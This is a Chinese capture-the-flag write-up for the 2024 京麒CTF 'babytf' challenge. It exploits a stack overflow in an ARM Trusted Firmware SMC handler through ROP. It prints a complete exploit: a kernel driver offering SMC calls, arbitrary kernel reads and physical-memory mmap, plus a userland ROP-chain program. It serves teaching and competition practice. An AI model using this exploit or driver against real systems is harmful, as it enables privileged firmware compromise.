2024 京麒CTF babytf wp

虚拟机clone寄了所以主机clone然后打包到虚拟机里导致符号链接全没了编译一直寄,评价为:顶尖人干顶尖事:)

交互

  • 注册了一个smc服务

    1
    2
    3
    4
    5
    6
    7
    8
    DECLARE_RT_SVC(
    MY_SVC,
    OEN_OEM_START,
    OEN_OEM_END,
    SMC_TYPE_FAST,
    my_own_svc_setup,
    my_smc_handler
    );

    handler,vuln中存在栈溢出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    uintptr_t my_smc_handler(uint32_t smc_fid,
    u_register_t x1,
    u_register_t x2,
    u_register_t x3,
    u_register_t x4,
    void *cookie,
    void *handle,
    u_register_t flags){

    ERROR("vuln_handler: SMC Call: 0x%x\n", smc_fid);
    if (smc_fid != 0xc3000000)
    SMC_RET1(handle, SMC_UNK);
    vuln((void *)x1, (size_t)x2);
    SMC_RET1(handle, 0);
    }
    1
    2
    3
    4
    5
    6
    void vuln(void *x1, size_t x2){
    char buf[0x100];
    ERROR("vuln\n");
    memcpy(buf,(void *)x1, x2);
    return;
    }

    读flag的函数,但要控制x0==flag,需要ROP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    char flag[0x100];
    void getflag(size_t addr){
    if(addr != (size_t)flag){
    tf_log("\x0aget flag failed!\n");
    return;
    }
    asm(
    "MRS X1, S3_3_C15_C12_0\n"
    "STR W1, [X0]\n"
    "MRS X1, S3_3_C15_C12_1\n"
    "STR W1, [X0,#4]\n"
    "MRS X1, S3_3_C15_C12_2\n"
    "STR W1, [X0,#8]\n"
    "MRS X1, S3_3_C15_C12_3\n"
    "STR W1, [X0,#0xC]\n"
    "MRS X1, S3_3_C15_C12_4\n"
    "STR W1, [X0,#0x10]\n"
    "MRS X1, S3_3_C15_C12_5\n"
    "STR W1, [X0,#0x14]\n"
    "MRS X1, S3_3_C15_C12_6\n"
    "STR W1, [X0,#0x18]\n"
    "MRS X1, S3_3_C15_C12_7\n"
    "STR W1, [X0,#0x1C]\n"
    );
    if(addr == (size_t)flag){
    tf_log("\x0aget flag success!\n");
    tf_log("\x0a%s\n",flag);
    }
    }
  • 由于smc指令必须在内核态执行,有root权限,可以写一个驱动执行smc指令,根据这行代码↓判断fid为0xc3000000

    1
    2
    if (smc_fid != 0xc3000000)
    SMC_RET1(handle, SMC_UNK);

    或者可以根据这张表和注册服务的代码判断

编译

为了让环境尽可能一致,拉了个22.04的ubuntu的docker编的

编出来驱动还是挂不上,version magic对不上,尝试过直接patch,然后就变成了这样

人无语到一定程度真的会笑~~~///(^v^)\\\~~~

最后改了Makefile成了

思路

  • vuln是从物理地址进行memcpy,给了一个buffer

    1
    ERROR("Your share buffer is at 0x%x, size 0x2000\n", 0x423DF000);

    可以用驱动的mmap把物理地址映射到用户空间

  • 用这两条指令进行ROP控制x0,再执行getflag

    1
    2
    0x000000000e0a01d4: mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
    0x000000000e0a1e6c: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
  • 直接执行getflag会重复执行getflag,因为ROP链是用x30调用getflag的

    可以从getflag的第二条指令开始执行,会直接寄,不会有那么多输出

  • 其实可以把所有步骤放在驱动的init里,但这样每次更改都要重编驱动很耗时

exp

感谢呆神

  • my_exploit_driver.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    /***************************************************************************//**
    * \file driver.c
    *
    * \details Simple Linux device driver (IOCTL)
    *
    * \author EmbeTronicX
    *
    * \Tested with Linux raspberrypi 5.10.27-v7l-embetronicx-custom+
    *
    *******************************************************************************/
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kdev_t.h>
    #include <linux/fs.h>
    #include <linux/cdev.h>
    #include <linux/device.h>
    #include<linux/slab.h> //kmalloc()
    #include<linux/uaccess.h> //copy_to/from_user()
    #include <linux/ioctl.h>
    #include <linux/err.h>
    #include <linux/io.h>
    #include <linux/mm.h>
    #include <asm/page.h>
    #include <asm/pgtable.h>
    #include <linux/arm-smccc.h>

    dev_t dev = 0;
    static struct class *dev_class;
    static struct cdev etx_cdev;

    /*
    ** Function Prototypes
    */
    static int __init etx_driver_init(void);
    static void __exit etx_driver_exit(void);
    static int etx_open(struct inode *inode, struct file *file);
    static int etx_release(struct inode *inode, struct file *file);
    static ssize_t etx_read(struct file *filp, char __user *buf, size_t len,loff_t * off);
    static ssize_t etx_write(struct file *filp, const char *buf, size_t len, loff_t * off);
    static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
    static int etx_mmap(struct file *filp, struct vm_area_struct *vma);

    /*
    ** File operation sturcture
    */
    static struct file_operations fops =
    {
    .owner = THIS_MODULE,
    .read = etx_read,
    .write = etx_write,
    .open = etx_open,
    .mmap = etx_mmap,
    .unlocked_ioctl = etx_ioctl,
    .release = etx_release,
    };

    typedef struct {
    unsigned long long int smc_fid;
    unsigned long long int x1;
    unsigned long long int x2;
    unsigned long long int x3;
    unsigned long long int x4;
    } SmcArgs;

    typedef struct {
    size_t addr; // 用于存储物理地址
    size_t size; // 用于存储读取的大小
    size_t recv_addr;
    }Arb_read_arg;

    SmcArgs smcArg;
    Arb_read_arg arb_read_arg;
    unsigned char *buf[0x1000];

    static unsigned long long int smc_call(
    unsigned long long int smc_fid,
    unsigned long long int arg1,
    unsigned long long int arg2,
    unsigned long long int arg3,
    unsigned long long int arg4,
    struct arm_smccc_res *res
    ){
    arm_smccc_smc(smc_fid, arg1, arg2, arg3, arg4, 0, 0, 0, res);
    return res->a0;
    }
    static int etx_mmap(struct file *filp, struct vm_area_struct *vma)
    {
    unsigned long offset = vma->vm_pgoff;

    if (offset >= __pa(high_memory) || (filp->f_flags & O_SYNC))
    vm_flags_set(vma, vma->vm_flags | VM_IO);
    vm_flags_set(vma, vma->vm_flags | (VM_DONTEXPAND | VM_DONTDUMP));

    if (io_remap_pfn_range(vma, vma->vm_start, offset,
    vma->vm_end-vma->vm_start, vma->vm_page_prot))
    return -EAGAIN;
    return 0;
    }

    /*
    ** This function will be called when we open the Device file
    */
    static int etx_open(struct inode *inode, struct file *file)
    {
    pr_info("Device File Opened...!!!\n");
    return 0;
    }

    /*
    ** This function will be called when we close the Device file
    */
    static int etx_release(struct inode *inode, struct file *file)
    {
    pr_info("Device File Closed...!!!\n");
    return 0;
    }

    /*
    ** This function will be called when we read the Device file
    */
    static ssize_t etx_read(struct file *filp, char __user *buf, size_t len, loff_t *off)
    {
    pr_info("Read Function\n");
    return 0;
    }

    /*
    ** This function will be called when we write the Device file
    */
    static ssize_t etx_write(struct file *filp, const char __user *buf, size_t len, loff_t *off)
    {
    pr_info("Write function\n");
    return len;
    }

    /*
    ** This function will be called when we write IOCTL on the Device file
    */
    static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
    {
    switch(cmd) {
    case 0x13370001:
    if( copy_from_user(&smcArg ,(SmcArgs*) arg, sizeof(SmcArgs)) )
    {
    pr_err("smc arg : Err!\n");
    return -1;
    }
    int ret = smc_call(smcArg.smc_fid, smcArg.x1, smcArg.x2, smcArg.x3, smcArg.x4, (struct arm_smccc_res *)&smcArg);
    pr_info("smc ret: 0x%llx\n", ret);
    copy_to_user((SmcArgs*) arg, &smcArg, sizeof(SmcArgs));
    return ret;
    break;
    case 0x13370002:
    if( copy_from_user(&arb_read_arg ,(Arb_read_arg*) arg, sizeof(Arb_read_arg)) )
    {
    pr_err("smc arg : Err!\n");
    return -1;
    }

    unsigned char* ptr = (unsigned char*)arb_read_arg.addr;
    if( copy_to_user((unsigned char*)arb_read_arg.recv_addr, ptr,arb_read_arg.size) )
    {
    pr_err("Data Read : Err!\n");
    return -3;
    }

    break;
    default:
    pr_info("Default\n");
    break;
    }
    return 0;
    }


    /*
    ** Module Init function
    */
    static int __init etx_driver_init(void)
    {
    /*Allocating Major number*/
    if((alloc_chrdev_region(&dev, 0, 1, "etx_Dev")) <0){
    pr_err("Cannot allocate major number\n");
    return -1;
    }
    pr_info("Major = %d Minor = %d \n",MAJOR(dev), MINOR(dev));

    /*Creating cdev structure*/
    cdev_init(&etx_cdev,&fops);

    /*Adding character device to the system*/
    if((cdev_add(&etx_cdev,dev,1)) < 0){
    pr_err("Cannot add the device to the system\n");
    goto r_class;
    }

    /*Creating struct class*/
    if(IS_ERR(dev_class = class_create("etx_class"))){
    pr_err("Cannot create the struct class\n");
    goto r_class;
    }

    /*Creating device*/
    if(IS_ERR(device_create(dev_class,NULL,dev,NULL,"etx_device"))){
    pr_err("Cannot create the Device 1\n");
    goto r_device;
    }
    pr_info("Device Driver Insert...Done!!!\n");
    return 0;

    r_device:
    class_destroy(dev_class);
    r_class:
    unregister_chrdev_region(dev,1);
    return -1;
    }

    /*
    ** Module exit function
    */
    static void __exit etx_driver_exit(void)
    {
    device_destroy(dev_class,dev);
    class_destroy(dev_class);
    cdev_del(&etx_cdev);
    unregister_chrdev_region(dev, 1);
    pr_info("Device Driver Remove...Done!!!\n");
    }

    module_init(etx_driver_init);
    module_exit(etx_driver_exit);

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("EmbeTronicX <embetronicx@gmail.com>");
    MODULE_DESCRIPTION("Simple Linux device driver (IOCTL)");
    MODULE_VERSION("1.5");
  • exp.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <stdint.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #define DRIVER_PATH "/dev/etx_device"
    #define CMD_SMC 0x13370001

    typedef struct
    {
    unsigned long long int smc_fid;
    unsigned long long int x1;
    unsigned long long int x2;
    unsigned long long int x3;
    } SmcArgs;

    int main()
    {
    int devfd = open(DRIVER_PATH, 2);
    int status = 0;

    unsigned long phys_addr = 0x423DF000;
    unsigned long size = 0x2000;
    size_t *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE,
    MAP_SHARED, devfd, phys_addr);

    int i = 0;
    for(i = 0; i < 0x20; i++) {
    ptr[i] = 0xdeadbeef + i;
    }

    // 0x000000000e0a01d4: mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
    // 0x000000000e0a1e6c: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;

    ptr[i++] = 0xdeadbeef; // 0x00
    ptr[i++] = 0xe0a1e6c; // 0x08
    ptr[i++] = 0xdeadbeef; // 0x10
    ptr[i++] = 0xdeadbeef; // 0x18
    ptr[i++] = 0xdeadbeef; // 0x20
    ptr[i++] = 0xdeadbeef; // 0x28

    ptr[i++] = 0xdeadbeef; // 0x00
    ptr[i++] = 0xe0a01d4; // 0x08
    ptr[i++] = 0xe0d735c; // 0x10 flag
    ptr[i++] = 0xdeadbeef; // 0x18

    ptr[i++] = 0xdeadbeef; // 0x00
    ptr[i++] = 0xe0a25ac; // 0x08 getflag
    ptr[i++] = 0xdeadbeef; // 0x10
    ptr[i++] = 0xe0a1a7c; // 0x18

    SmcArgs smc_arg = {0xc3000000, 0x423DF000, 8*i, 0};
    status = ioctl(devfd, CMD_SMC, &smc_arg);
    return 0;
    }

2024 京麒CTF babytf wp
http://akaieurus.github.io/2024/08/10/jqctf2024-babytf/
作者
Eurus
发布于
2024年8月10日
许可协议